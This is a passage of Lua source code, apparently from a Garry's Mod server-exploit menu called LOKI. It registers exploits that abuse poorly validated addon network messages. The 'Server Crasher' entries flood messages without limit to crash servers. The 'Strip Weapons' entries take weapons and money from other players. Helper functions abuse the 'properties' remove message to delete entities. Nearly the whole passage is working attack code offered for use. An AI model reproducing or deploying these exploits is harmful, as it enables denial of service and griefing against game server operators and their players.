8877 desc = "Burst the servers ear drums",
8878 severity = 100,
8879 bools = {enabled = false},
8880 status = 1,
8881 times_per_tick = math.huge,
8882 scan = function() return usermessage.GetTable()["sounds_yo"] != nil || LOKI.ValidNetString("sounds_yo") end,
8883 hooks = {
8884 Think = function(tbl, sploit)
8885 LOKI.RCC(sploit, "sounds_request")
8886 end,
8887 net = {
8888 Receive = function(sploit, strName)
8889 if(strName == "sounds_yo") then
8890 return false
8891 end
8892 end,
8893 },
8894 },
8895 functions = {
8896 { typ = "bool", },
8897 },
8898} )
8899LOKI.AddExploit( "Server Crasher", {
8900 desc = "Open the floodgates",
8901 severity = 100,
8902 bools = {enabled = false},
8903 status = 1,
8904 times_per_tick = math.huge,
8905 scan = function() return LOKI.ValidNetString("dialogAlterWeapons") end,
8906 hooks = {
8907 Think = function(tbl, sploit)
8908 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
8909 net.WriteString("Add")
8910 net.WriteTable({[1] = "worldspawn"})
8911 net.SendToServer()
8912 end,
8913 },
8914 functions = {
8915 { typ = "bool", },
8916 },
8917} )
8918LOKI.AddExploit( "Server Crasher", {
8919 desc = "Burn the books",
8920 severity = 100,
8921 bools = {enabled = false},
8922 status = 1,
8923 times_per_tick = math.huge,
8924 scan = function() return LOKI.ValidNetString("hcLog") end,
8925 hooks = {
8926 Think = function(tbl, sploit)
8927 LOKI.NetStart(sploit, "hcLog", true)
8928 net.SendToServer()
8929 end,
8930 },
8931 functions = {
8932 { typ = "bool", },
8933 },
8934} )
8935/*LOKI.AddExploit( "Server Crasher", {
8936 desc = "Fuel is flammable? Who knew!",
8937 severity = 100,
8938 bools = {enabled = false},
8939 status = 1,
8940 times_per_tick = math.huge,
8941 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
8942 hooks = {
8943 Think = function(tbl, sploit)
8944 LOKI.NetStart( sploit, "simfphys_gasspill" )
8945 net.SendToServer()
8946 end,
8947 },
8948 functions = {
8949 { typ = "bool", },
8950 },
8951} )*/
8952
8953LOKI.AddExploit( "Strip Weapons", {
8954 desc = "Strip weapons/money from everybody",
8955 severity = 90,
8956 bools = {enabled = false},
8957 status = 1,
8958 times_per_tick = 1,
8959 vars = {},
8960 scan = function() return LOKI.ValidNetString( "drugseffect_remove" ) end,
8961 hooks = {
8962 Think = function(tbl, sploit)
8963 if(tbl[1] == 1) then
8964 LOKI.NetStart( sploit, "drugseffect_remove")
8965 net.SendToServer()
8966 elseif(tbl[1] == 2) then
8967 LOKI.NetStart( sploit, "drugs_money")
8968 net.SendToServer()
8969 end
8970 end,
8971 },
8972 functions = {
8973 { typ = "func", Name = "Strip Weapons", args = {1}, },
8974 { typ = "func", Name = "Strip Money", args = {2}, },
8975 },
8976} )
8977LOKI.AddExploit( "Strip Weapons", {
8978 desc = "Prevent players from using their weapons",
8979 severity = 90,
8980 bools = {enabled = false},
8981 status = 1,
8982 times_per_tick = 1,
8983 vars = {},
8984 scan = function() return LOKI.ValidNetString( "Cover_WheelU" ) end,
8985 hooks = {
8986 Think = function(tbl, sploit)
8987 for k, v in ipairs( LOKI.GetStored( "stripper2_plyz", {} ) ) do
8988 local weaps = v:GetWeapons()
8989 LOKI.NetStart(sploit, "Cover_WheelU") --Cover_WheelD works too
8990 net.WriteEntity(v)
8991 net.WriteTable({weaps[math.random(#weaps)], weaps[math.random(#weaps)]})
8992 net.SendToServer()
8993 end
8994 end,
8995 },
8996 functions = {
8997 { typ = "players", addr = "stripper2_plyz" },
8998 { typ = "bool", },
8999 },
9000} )
9001LOKI.AddExploit( "Strip Weapons", {
9002 desc = "Prevent players from using their weapons",
9003 severity = 90,
9004 bools = {enabled = false},
9005 status = 1,
9006 times_per_tick = 1,
9007 vars = {},
9008 scan = function() return LOKI.ValidNetString( "DCHOLDSTER" ) end,
9009 hooks = {
9010 Think = function(tbl, sploit)
9011 for k, v in ipairs( LOKI.GetStored( "stripper3_plyz", {} ) ) do
9012 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9013 local weaps = v:GetWeapons()
9014 LOKI.NetStart(sploit, "DCHOLDSTER")
9015 net.WriteEntity(v:GetActiveWeapon())
9016 net.WriteString(weaps[math.random(#weaps)]:GetClass())
9017 net.SendToServer()
9018 end
9019 end,
9020 },
9021 functions = {
9022 { typ = "players", addr = "stripper3_plyz" },
9023 { typ = "bool", },
9024 },
9025} )
9026LOKI.AddExploit( "Strip Weapons", {
9027 desc = "Automatically prevent all mass shootings",
9028 severity = 90,
9029 bools = {enabled = false},
9030 status = 1,
9031 times_per_tick = 1,
9032 vars = {},
9033 scan = function() return LOKI.ValidNetString( "STOOL_FISHSPOT_REMOVE" ) end,
9034 hooks = {
9035 Think = function(tbl, sploit)
9036 for k, v in ipairs( LOKI.GetStored( "stripper4_plyz", {} ) ) do
9037 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9038 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
9039 net.WriteEntity(v:GetActiveWeapon())
9040 net.SendToServer()
9041 end
9042 end,
9043 },
9044 functions = {
9045 { typ = "players", addr = "stripper4_plyz" },
9046 { typ = "bool", },
9047 },
9048} )
9049LOKI.AddExploit( "Strip Weapons", {
9050 desc = "Automatically enforce gun control laws",
9051 severity = 90,
9052 bools = {enabled = false},
9053 status = 1,
9054 times_per_tick = 1,
9055 vars = {},
9056 scan = function() return LOKI.ValidNetString( "DestroyTable" ) end,
9057 hooks = {
9058 Think = function(tbl, sploit)
9059 for k, v in ipairs( LOKI.GetStored( "stripper5_plyz", {} ) ) do
9060 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9061 LOKI.NetStart(sploit, "DestroyTable")
9062 net.WriteEntity(v:GetActiveWeapon())
9063 net.SendToServer()
9064 end
9065 end,
9066 },
9067 functions = {
9068 { typ = "players", addr = "stripper5_plyz" },
9069 { typ = "bool", },
9070 },
9071} )
9072LOKI.AddExploit( "Strip Weapons", {
9073 desc = "Remove the guns from the hands of the criminals",
9074 severity = 90,
9075 bools = {enabled = false},
9076 status = 1,
9077 times_per_tick = 1,
9078 vars = {},
9079 scan = function() return LOKI.ValidNetString( "AS_DoAttack" ) end,
9080 hooks = {
9081 Think = function(tbl, sploit)
9082 for k, v in ipairs( LOKI.GetStored( "stripper6_plyz", {} ) ) do
9083 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9084 LOKI.NetStart(sploit, "AS_DoAttack")
9085 net.WriteTable({Weapon = v:GetActiveWeapon():EntIndex(), Target = 0})
9086 net.SendToServer()
9087 end
9088 end,
9089 },
9090 functions = {
9091 { typ = "players", addr = "stripper6_plyz" },
9092 { typ = "bool", },
9093 },
9094} )
9095LOKI.LNextNuke = {}
9096function LOKI.NukeWeapon( ent, sploit )
9097 if !ent:IsValid() then return end
9098 if LOKI.LNextNuke[ent] and LOKI.LNextNuke[ent] > SysTime() then return end
9099 LOKI.NetStart( sploit, "properties")
9100 net.WriteString("remove")
9101 net.WriteEntity( ent )
9102 net.SendToServer()
9103 LOKI.LNextNuke[ent] = SysTime() + 0.5
9104end
9105function LOKI.RemoveEnts( tab, sploit )
9106 for k, v in pairs( tab ) do
9107 if !v:IsValid() then continue end
9108 if LOKI.LNextNuke[v] and LOKI.LNextNuke[v] > SysTime() then continue end
9109 LOKI.NetStart( sploit, "properties")
9110 net.WriteString("remove")
9111 net.WriteEntity( v )
9112 net.SendToServer()
9113 end
9114end
9115LOKI.OpenMenu(true)